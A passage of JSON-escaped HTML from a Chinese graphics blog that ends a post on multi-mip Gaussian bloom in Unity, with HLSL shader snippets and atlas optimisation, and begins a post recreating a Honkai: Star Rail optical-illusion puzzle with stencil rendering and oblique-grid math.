\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUnityStereoTransformScreenSpaceTex\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003einput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etexcoord\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003ehalf3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_BloomKernelSize\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoffset\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etexelSize\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehalfKernelSize\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ehalf3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDecodeHDR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSAMPLE_TEXTURE2D_X\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BlitTexture\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_LinearClamp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoffset\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_BloomKernel\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEncodeHDR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e横向模糊类似。\u003c/p\u003e\n\u003cp\u003e要把多级 mip 都纵向横向模糊一遍。\u003c/p\u003e\n\u003ch3 id=\"卷积核长度选择\"\u003e卷积核长度选择\u003ca class=\"headerlink\" href=\"#卷积核长度选择\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e根据 \u003ca href=\"../../../ecde-afda-cebi/#3-sigma-规则\"\u003e正态分布 \u0026gt; 3 sigma 规则\u003c/a\u003e,大致推测出高斯模糊的模糊范围和 \u003cspan class=\"arithmatex\"\u003e\\(\\sigma\\)\u003c/span\u003e 正相关。因为长度为 \u003cspan class=\"arithmatex\"\u003e\\(n\\)\u003c/span\u003e 的卷积核取的是杨辉三角的第 \u003cspan class=\"arithmatex\"\u003e\\(n+3\\)\u003c/span\u003e 行,所以\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\sigma \\approx \\dfrac{\\sqrt{n+3}}{2}\n\\]\u003c/div\u003e\n\u003cp\u003e因此,模糊的范围和卷积核的长度正相关。\u003c/p\u003e\n\u003cp\u003emip 的分辨率越小,模糊的范围(卷积核的长度)就应该越大,否则可能出现很多方块图样。\u003c/p\u003e\n\u003ch3 id=\"处理多分辨率\"\u003e处理多分辨率\u003ca class=\"headerlink\" href=\"#处理多分辨率\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e同样的图案在不同分辨率下占有的像素数量不同。在卷积核大小不变的前提下,去模糊本文最上面花火的脸,低分辨率下能采样到脸外面的像素,但是高分辨率下就不一定能采样到了。所以多分辨率下模糊的结果可能不一致,最后泛光效果也不一样。具体来说,分辨率越高,向外泛出的光就越少。\u003c/p\u003e\n\u003cp\u003e我目前也没找到什么很好的解决方案,就强行把最后几个需要模糊的 mip 的分辨率都定死了。\u003c/p\u003e\n\u003cp\u003e一般游戏都是 16:9、16:10 这样的分辨率。取个比例差不多的较小的分辨率,比如 310x174,基本上没太大问题。要是屏幕比例差得太多,降采样时就会出现明显拉伸,Bloom 结果就会出现 artifact。\u003c/p\u003e\n\u003ch3 id=\"图集优化\"\u003e图集优化\u003ca class=\"headerlink\" href=\"#图集优化\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e因为要对多级 mip 做模糊,会出现很多 RT switch,对性能有影响。可以把纵向模糊的结果都绘制到一张图集上。用 \u003ca href=\"https://docs.unity3d.com/ScriptReference/Rendering.CommandBuffer.SetViewport.html\"\u003e\u003ccode\u003eCommandBuffer.SetViewport\u003c/code\u003e\u003c/a\u003e 来限制绘制的区域。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"图集\" src=\"../../../obsidian-vault/attachments/bloom-atlas.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e然后再做横向模糊,绘制到另一张图集上。\u003c/p\u003e\n\u003ch2 id=\"合并\"\u003e合并\u003ca class=\"headerlink\" href=\"#合并\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e需要 C# 代码传入的值:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e_BloomUVMinMax\u003c/code\u003e:图集中每张图的 uv 范围。xy 是 uv 最小值,zw 是 uv 最大值。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eShader 里直接把图集里所有图都采样一遍,然后叠加。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUnityStereoTransformScreenSpaceTex\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003einput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etexcoord\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003ehalf3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"n\"\u003eUNITY_UNROLL\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_MIP_DOWN_BLUR_COUNT\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eatlasUV\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003elerp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BloomUVMinMax\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_BloomUVMinMax\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003ezw\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDecodeHDR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSAMPLE_TEXTURE2D_X\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BlitTexture\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_LinearClamp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eatlasUV\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEncodeHDR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cimg alt=\"叠加好的图,分辨率和图集里最大的那张一样\" src=\"../../../obsidian-vault/attachments/bloom-final.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e之后把它拿给 UberPost,加到屏幕上即可。\u003c/p\u003e\n\u003ch3 id=\"防漏光\"\u003e防漏光\u003ca class=\"headerlink\" href=\"#防漏光\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e刚才叠加时是用 bilinear 采样的,在某张图边缘采样时可能采样到图集里的另一张图。解决方法是,在图和图之间加几个像素的 padding,一般 1 个像素就差不多了。\u003c/p\u003e\n\u003ch2 id=\"完整代码\"\u003e完整代码\u003ca class=\"headerlink\" href=\"#完整代码\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/stalomeow/StarRailNPRShader\"\u003eGitHub: stalomeow/StarRailNPRShader\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"参考文章\"\u003e参考文章\u003ca class=\"headerlink\" href=\"#参考文章\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://gwb.tencent.com/community/detail/124756\"\u003e米哈游技术总监首次分享:移动端高品质卡通渲染的实现与优化方案 -腾讯游戏学堂\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/525500877\"\u003e高质量泛光(bloom)从理论到实战 - 知乎\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/630726865\"\u003e高质量泛光Bloom改进以及高斯核采样的优化 - 知乎\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"进一步阅读\"\u003e进一步阅读\u003ca class=\"headerlink\" href=\"#进一步阅读\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/675125241\"\u003e复刻 绝区零/原神 的Bloom效果 - 知乎\u003c/a\u003e:Bloom 图集的另一种实现。\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.rastergrid.com/blog/2010/09/efficient-gaussian-blur-with-linear-sampling/\"\u003eEfficient Gaussian blur with linear sampling – RasterGrid\u003c/a\u003e:讲了多种优化手段,除了杨辉三角,还有借助 bilinear 减少采样数的方法。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"footnote\"\u003e\n\u003chr /\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003e\u003ca href=\"https://www.rastergrid.com/blog/2010/09/efficient-gaussian-blur-with-linear-sampling/\"\u003eEfficient Gaussian blur with linear sampling – RasterGrid\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:1\" title=\"Jump back to footnote 1 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003e\u003ca href=\"https://stackoverflow.com/questions/15580291/how-to-efficiently-calculate-a-row-in-pascals-triangle\"\u003ealgorithm - How to efficiently calculate a row in pascal's triangle? - Stack Overflow\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:2\" title=\"Jump back to footnote 2 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/toon-bloom/"},{"title":"复刻星穹铁道 2.0 梦境迷钟","time":"2024-02-18T13:55:20Z","content":"\u003ch1 id=\"复刻星穹铁道-20-梦境迷钟\"\u003e复刻星穹铁道 2.0 梦境迷钟\u003ca class=\"headerlink\" href=\"#复刻星穹铁道-20-梦境迷钟\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e简单复刻,重点在图的构建和寻路上。只做了一种视角,两个关卡。\u003c/p\u003e\n\u003cdiv class=\"responsive-video-container\"\u003e\n \u003ciframe src=\"https://player.bilibili.com/player.html?aid=1250735475\u0026bvid=BV1kJ4m1W76K\u0026cid=1440682002\u0026p=2\u0026autoplay=0\" scrolling=\"no\" border=\"0\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\u003c/iframe\u003e\n\u003c/div\u003e\n\n\u003cp\u003eGitHub: \u003ca href=\"https://github.com/stalomeow/DreamTicker\"\u003ehttps://github.com/stalomeow/DreamTicker\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"渲染\"\u003e渲染\u003ca class=\"headerlink\" href=\"#渲染\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e重点:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e相机用正交投影,不要透视投影的近大远小的效果。\u003c/li\u003e\n\u003cli\u003e相机朝向必须和正方体的某个体对角线平行,否则做不到游戏里的效果。我用的相机欧拉角是 \u003cspan class=\"arithmatex\"\u003e\\((\\arcsin\\dfrac{1}{\\sqrt{3}},-\\dfrac{\\pi}{4},0)\\)\u003c/span\u003e。\u003c/li\u003e\n\u003cli\u003e方块被分成镜子前、镜子内、镜子后三部分,提前放在场景里。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e渲染流程:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e镜子写入模板值 \u003ccode\u003e1\u003c/code\u003e(不输出颜色)\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e绘制方块\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e镜子前的:模板测试 \u003ccode\u003eAlways\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e镜子内的:模板测试 \u003ccode\u003eEqual 1\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e镜子外的:模板测试 \u003ccode\u003eNotEqual 1\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e绘制角色(深度测试 \u003ccode\u003eAlways\u003c/code\u003e,避免被方块挡住)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e绘制半透明的镜子\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"建图\"\u003e建图\u003ca class=\"headerlink\" href=\"#建图\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e这是一个视错觉游戏,在三维空间中不可能的路径,只要从玩家的视角看上去没问题就能行走,所以,很容易想到把方块变换到 viewport space 或者 screen space 再建图。\u003c/p\u003e\n\u003cp\u003e实际试下来,发现这两个 space 存在一些缺点:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e坐标依赖玩家的屏幕分辨率。不同分辨率下,算出来结果存在一些差异。\u003c/li\u003e\n\u003cli\u003e方块坐标和边长都不是整数。由于浮点数计算存在误差,计算相邻方块的坐标时经常算不准,没法在 \u003ccode\u003eDictionary\u0026lt;Vector2, Block\u0026gt;\u003c/code\u003e 里访问到相应的方块。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e考虑到相机用的是正交投影,其矩阵为\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{bmatrix}\n \\dfrac{2}{r-l} \u0026amp;0 \u0026amp;0 \u0026amp;-\\dfrac{r+l}{r-l} \\\\\n 0 \u0026amp;\\dfrac{2}{t-b} \u0026amp;0 \u0026amp;-\\dfrac{t+b}{t-b} \\\\\n 0 \u0026amp;0 \u0026amp;-\\dfrac{2}{f-n} \u0026amp;-\\dfrac{f+n}{f-n} \\\\\n 0 \u0026amp;0 \u0026amp;0 \u0026amp;1\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e其中,\u003cspan class=\"arithmatex\"\u003e\\(r,l,t,b,f,n\\)\u003c/span\u003e 分别为视锥体的 right, left, top, bottom, far, near。Unity 的视锥体是对称的,即满足\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\left\\{\\begin{matrix}\n r+l\u0026amp;=0 \\\\\n t+b\u0026amp;=0\n\\end{matrix}\\right.\n\\]\u003c/div\u003e\n\u003cp\u003e所以,正交投影矩阵化简为\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{bmatrix}\n \\dfrac{2}{r-l} \u0026amp;0 \u0026amp;0 \u0026amp;0 \\\\\n 0 \u0026amp;\\dfrac{2}{t-b} \u0026amp;0 \u0026amp;0 \\\\\n 0 \u0026amp;0 \u0026amp;-\\dfrac{2}{f-n} \u0026amp;-\\dfrac{f+n}{f-n} \\\\\n 0 \u0026amp;0 \u0026amp;0 \u0026amp;1\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e对于 view space 的点 \u003cspan class=\"arithmatex\"\u003e\\((x,y,z)\\)\u003c/span\u003e 用上面的矩阵变换到 NDC 后是\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n(\\dfrac{2}{r-l}x,\\dfrac{2}{t-b}y,-\\dfrac{2}{f-n}z-\\dfrac{f+n}{f-n})\n\\]\u003c/div\u003e\n\u003cp\u003e发现 \u003cspan class=\"arithmatex\"\u003e\\(x\\)\u003c/span\u003e 和 \u003cspan class=\"arithmatex\"\u003e\\(y\\)\u003c/span\u003e 只是被缩放了常数倍。从 NDC 到 viewport space 或者 screen space 都是对 \u003cspan class=\"arithmatex\"\u003e\\(x\\)\u003c/span\u003e 和 \u003cspan class=\"arithmatex\"\u003e\\(y\\)\u003c/span\u003e 分别进行两种相同的线性变换。所以,从 view space 到 viewport space 或者 screen space 就是对 \u003cspan class=\"arithmatex\"\u003e\\(x\\)\u003c/span\u003e 和 \u003cspan class=\"arithmatex\"\u003e\\(y\\)\u003c/span\u003e 做了一些线性变换,完全可以省略。可以这样理解:一张照片在家里看和在学校里看没有差别,放大 10 倍和原大小整体上也没差别。\u003c/p\u003e\n\u003cp\u003e考虑到一个方块只有朝上的面才能行走,并且这个面从屏幕上看是一个平行四边形,不难构造出下面这个二维斜坐标系。任意选一个方块,将它朝上的那个面的中心作为原点。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"坐标系\" src=\"../../../obsidian-vault/attachments/unity_hsr_dream_ticker_explain.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e若以平行四边形格子的中心点表示该格,则 \u003cspan class=\"arithmatex\"\u003e\\((x,y)\\)\u003c/span\u003e 右边一格为 \u003cspan class=\"arithmatex\"\u003e\\((x+1,y)\\)\u003c/span\u003e,前面一格为 \u003cspan class=\"arithmatex\"\u003e\\((x,y+1)\\)\u003c/span\u003e,且 \u003cspan class=\"arithmatex\"\u003e\\(x,y\\)\u003c/span\u003e 均为整数。只要能把原来的三维地图转化成这个平行四边形网格,剩下的就很简单了。\u003c/p\u003e\n\u003ch3 id=\"计算方块对应格子的坐标\"\u003e计算方块对应格子的坐标\u003ca class=\"headerlink\" href=\"#计算方块对应格子的坐标\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e将一个方块朝上的那个面的中心点称为 \u003ccode\u003eUpperCenter\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e设某方块的 \u003ccode\u003eUpperCenter\u003c/code\u003e 在 view space 的坐标为 \u003cspan class=\"arithmatex\"\u003e\\((x,y,z)^T\\)\u003c/span\u003e,变换到斜坐标系后是 \u003cspan class=\"arithmatex\"\u003e\\((x',y')^T\\)\u003c/span\u003e。作为斜坐标系原点的 \u003ccode\u003eUpperCenter\u003c/code\u003e 在 view space 的坐标为 \u003cspan class=\"arithmatex\"\u003e\\((O_x,O_y,O_z)^T\\)\u003c/span\u003e。\u003c/p\u003e\n\u003cp\u003e将 world space 的两个\u003cstrong\u003e方向\u003c/strong\u003e \u003cspan class=\"arithmatex\"\u003e\\((1,0,0)^T\\)\u003c/span\u003e 和 \u003cspan class=\"arithmatex\"\u003e\\((0,0,1)^T\\)\u003c/span\u003e 变换到 view space,只取 x 和 y 分量,不要归一化,记为 \u003cspan class=\"arithmatex\"\u003e\\(\\vec{a}\\)\u003c/span\u003e 和 \u003cspan class=\"arithmatex\"\u003e\\(\\vec{b}\\)\u003c/span\u003e。这就是斜坐标系的两个基向量在 view space 的表示。\u003c/p\u003e\n\u003cp\u003e可求得\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{bmatrix}\n x'\\\\\n y'\n\\end{bmatrix} = \\begin{bmatrix}\n \\vec{a} \u0026amp; \\vec{b}\n\\end{bmatrix}^{-1} \\left (\\begin{bmatrix}\n x\\\\\n y\n\\end{bmatrix}-\\begin{bmatrix}\n O_x\\\\\n O_y\n\\end{bmatrix} \\right )\n\\]\u003c/div\u003e\n\u003ch3 id=\"根据镜子做剔除\"\u003e根据镜子做剔除\u003ca class=\"headerlink\" href=\"#根据镜子做剔除\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e镜子前的方块不用管,全部保留即可。镜子内的方块只有玩家能看到的部分才算入网格地图中,镜子后的方块同理。镜子会把方块裁成不同形状,如下图。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"镜子\" src=\"../../../obsidian-vault/attachments/unity_hsr_dream_ticker_explain2.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e一个方块在当前视角下看是一个正六边形,根据对角线可以分成 6 